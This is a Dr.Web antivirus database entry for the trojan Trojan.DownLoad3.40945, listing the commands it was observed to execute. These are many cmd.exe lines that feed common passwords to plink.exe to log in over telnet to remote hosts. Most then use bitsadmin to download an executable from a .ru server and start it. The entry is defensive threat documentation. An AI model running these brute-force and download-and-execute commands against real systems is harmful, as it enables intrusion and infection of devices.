La mia libreria
La mia libreria

+ Aggiungi alla libreria

Supporto
Supporto 24/7 | Regole per contattare

Richieste

Profile

Trojan.DownLoad3.40945

Aggiunto al database dei virus Dr.Web: 2016-03-09

La descrizione è stata aggiunta:

Technical Information

Malicious functions:
Executes the following:
  • '<SYSTEM32>\cmd.exe' /c echo 111111|%temp%\Release\plink.exe -telnet 46.154.163.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 1q2w3e|%temp%\Release\plink.exe -telnet 100.157.250.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo 9283746|%temp%\Release\plink.exe -telnet 252.227.162.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 112233|%temp%\Release\plink.exe -telnet 228.152.32.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo password1|%temp%\Release\plink.exe -telnet 137.231.3.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo backward|%temp%\Release\plink.exe -telnet 107.37.47.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo administrator|%temp%\Release\plink.exe -telnet 64.197.221.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && e...
  • '<SYSTEM32>\cmd.exe' /c echo 784512|%temp%\Release\plink.exe -telnet 141.31.48.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo zebra|%temp%\Release\plink.exe -telnet 153.171.202.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo aaaaaa|%temp%\Release\plink.exe -telnet 255.16.43.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo zxcvbn|%temp%\Release\plink.exe -telnet 75.143.29.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo 12qwaszx|%temp%\Release\plink.exe -telnet 92.93.135.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo qwerty|%temp%\Release\plink.exe -telnet 80.213.62.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo football|%temp%\Release\plink.exe -telnet 85.112.146.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo sunshine|%temp%\Release\plink.exe -telnet 165.101.5.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo killer|%temp%\Release\plink.exe -telnet 30.200.7.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo 555555|%temp%\Release\plink.exe -telnet 255.93.76.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo chicken|%temp%\Release\plink.exe -telnet 35.255.6.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo www-data|%temp%\Release\plink.exe -telnet 180.132.29.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 1q2w3e|%temp%\Release\plink.exe -telnet 144.101.249.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo walle|%temp%\Release\plink.exe -telnet 115.124.231.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo master|%temp%\Release\plink.exe -telnet 176.8.36.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo frederic|%temp%\Release\plink.exe -telnet 198.67.232.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo qwertyuiop|%temp%\Release\plink.exe -telnet 97.93.4.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo kunal|%temp%\Release\plink.exe -telnet 156.191.161.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo platter|%temp%\Release\plink.exe -telnet 11.144.198.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo monkey|%temp%\Release\plink.exe -telnet 231.190.203.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo 123456|%temp%\Release\plink.exe -telnet 208.31.210.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 789456123|%temp%\Release\plink.exe -telnet 204.107.133.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo lepassadmin|%temp%\Release\plink.exe -telnet 146.250.234.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && ec...
  • '<SYSTEM32>\cmd.exe' /c echo football|%temp%\Release\plink.exe -telnet 81.4.198.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 1qaz2wsx|%temp%\Release\plink.exe -telnet 202.59.211.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo Passw0rd|%temp%\Release\plink.exe -telnet 45.219.121.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo kunal|%temp%\Release\plink.exe -telnet 17.63.148.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo 666|%temp%\Release\plink.exe -telnet 244.222.165.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo 0000|%temp%\Release\plink.exe -telnet 54.40.226.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time%...
  • '<SYSTEM32>\cmd.exe' /c echo kunal|%temp%\Release\plink.exe -telnet 84.100.135.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo aaaaaa|%temp%\Release\plink.exe -telnet 80.107.154.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo password1|%temp%\Release\plink.exe -telnet 148.237.25.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo ...
  • '<SYSTEM32>\cmd.exe' /c echo aubergine|%temp%\Release\plink.exe -telnet 227.12.105.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo ...
  • '<SYSTEM32>\cmd.exe' /c echo elephant|%temp%\Release\plink.exe -telnet 138.250.72.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo chicken"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 121212"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo robert"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo ciao"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo emmanuel20"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 123"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo abc"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo anonymous"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo qwertyu"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo root"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo hamide"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo guest"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo BLUEAIRWOLF"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo forensics"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo cisco"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo Salam"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 987654321"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 123321"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo master"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo matrix"
  • '<SYSTEM32>\cmd.exe' /c echo 123qwe|%temp%\Release\plink.exe -telnet 254.155.18.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo master|%temp%\Release\plink.exe -telnet 206.246.244.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo protocol"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo golfer"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo dreambox"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo pokemon"
  • '<SYSTEM32>\cmd.exe' /c echo Sistema|%temp%\Release\plink.exe -telnet 249.146.224.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 121212|%temp%\Release\plink.exe -telnet 81.174.122.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 123qwe"
  • '<SYSTEM32>\cmd.exe' /c echo pokemon|%temp%\Release\plink.exe -telnet 93.43.30.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo GO2WORK"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo P@ssw0rd"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo daniel"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo aaa"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 1q2w3e4r"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 1piu4pui"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo windows"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo U38fa39"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo dragon"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 1234"
  • '<SYSTEM32>\cmd.exe' /c echo 999999|%temp%\Release\plink.exe -telnet 113.20.12.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo qwerty|%temp%\Release\plink.exe -telnet 34.173.236.3 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 290966|%temp%\Release\plink.exe -telnet 186.126.11.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo frederic|%temp%\Release\plink.exe -telnet 88.87.11.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 123654|%temp%\Release\plink.exe -telnet 49.126.187.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo pass123|%temp%\Release\plink.exe -telnet 218.58.131.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo frederic"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo football"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 12qwaszx"
  • '<SYSTEM32>\cmd.exe' /c echo devry|%temp%\Release\plink.exe -telnet 186.57.57.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo walle"
  • '<SYSTEM32>\cmd.exe' /c echo 654321|%temp%\Release\plink.exe -telnet 6.100.24.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo admin123|%temp%\Release\plink.exe -telnet 194.55.45.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo 123654|%temp%\Release\plink.exe -telnet 48.64.51.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo GO2WORK|%temp%\Release\plink.exe -telnet 32.98.102.3 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 1234|%temp%\Release\plink.exe -telnet 1.134.42.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time% ...
  • '<SYSTEM32>\cmd.exe' /c echo Forward|%temp%\Release\plink.exe -telnet 129.185.144.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 9283746|%temp%\Release\plink.exe -telnet 201.78.212.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo platter|%temp%\Release\plink.exe -telnet 128.222.0.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo pakistan|%temp%\Release\plink.exe -telnet 213.109.96.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo q1w2e3|%temp%\Release\plink.exe -telnet 28.22.127.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo tudelft"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 112233"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 123456"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 1qaz2wsx"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 1234567890"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo Passw0rd"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo secret"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 9283746"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo aubergine"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo admin123"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo apple"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo zxcvbn"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo aaaaaa"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo kunal"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 1q2w3e"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 555555"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo zebra"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo qwerty"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo administrator"
  • '<SYSTEM32>\cmd.exe' /S /D /c" echo 0000"
  • '<SYSTEM32>\cmd.exe' /c echo abc123|%temp%\Release\plink.exe -telnet 0.132.218.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo dragon|%temp%\Release\plink.exe -telnet 82.39.241.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo apple|%temp%\Release\plink.exe -telnet 111.28.229.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo devry|%temp%\Release\plink.exe -telnet 133.23.166.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo frederic|%temp%\Release\plink.exe -telnet 61.34.145.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo secret|%temp%\Release\plink.exe -telnet 35.112.19.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo 1234567890|%temp%\Release\plink.exe -telnet 103.182.39.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo windows|%temp%\Release\plink.exe -telnet 151.153.86.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo backdoor|%temp%\Release\plink.exe -telnet 231.243.65.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo admin123|%temp%\Release\plink.exe -telnet 184.134.16.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo F00tb@11|%temp%\Release\plink.exe -telnet 70.177.187.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 4SweetCandy1|%temp%\Release\plink.exe -telnet 101.56.5.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo q1w2e3|%temp%\Release\plink.exe -telnet 56.221.5.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo dragon|%temp%\Release\plink.exe -telnet 94.213.249.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo iloveyou|%temp%\Release\plink.exe -telnet 85.199.108.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 789456123|%temp%\Release\plink.exe -telnet 138.252.12.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo ...
  • '<SYSTEM32>\cmd.exe' /c echo 111111|%temp%\Release\plink.exe -telnet 131.132.46.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo tudelft|%temp%\Release\plink.exe -telnet 150.216.56.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %t...
  • '<SYSTEM32>\cmd.exe' /c echo qwertyu|%temp%\Release\plink.exe -telnet 237.7.82.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo 4SweetCandy1|%temp%\Release\plink.exe -telnet 140.28.4.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo...
  • '<SYSTEM32>\cmd.exe' /c echo P@SSW0RD|%temp%\Release\plink.exe -telnet 144.98.255.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 222222|%temp%\Release\plink.exe -telnet 231.1.243.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo asdfgh|%temp%\Release\plink.exe -telnet 53.77.225.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo secret|%temp%\Release\plink.exe -telnet 218.46.251.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo pokemon|%temp%\Release\plink.exe -telnet 177.174.131.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %...
  • '<SYSTEM32>\cmd.exe' /c echo 111222|%temp%\Release\plink.exe -telnet 79.138.47.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
  • '<SYSTEM32>\cmd.exe' /c echo 31337|%temp%\Release\plink.exe -telnet 1.126.112.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time...
  • '<SYSTEM32>\cmd.exe' /c echo 0000|%temp%\Release\plink.exe -telnet 27.61.239.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %time%...
  • '<SYSTEM32>\cmd.exe' /c echo computer|%temp%\Release\plink.exe -telnet 35.65.92.1 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %ti...
  • '<SYSTEM32>\cmd.exe' /c echo 123456|%temp%\Release\plink.exe -telnet 86.15.213.2 -l admin bitsadmin /transfer whatever http://te###work.ru/tmp1.exe ^%%temp^%%\tmp2.exe ^&^& start /b ^%%temp^%%\tmp2.exe && echo %tim...
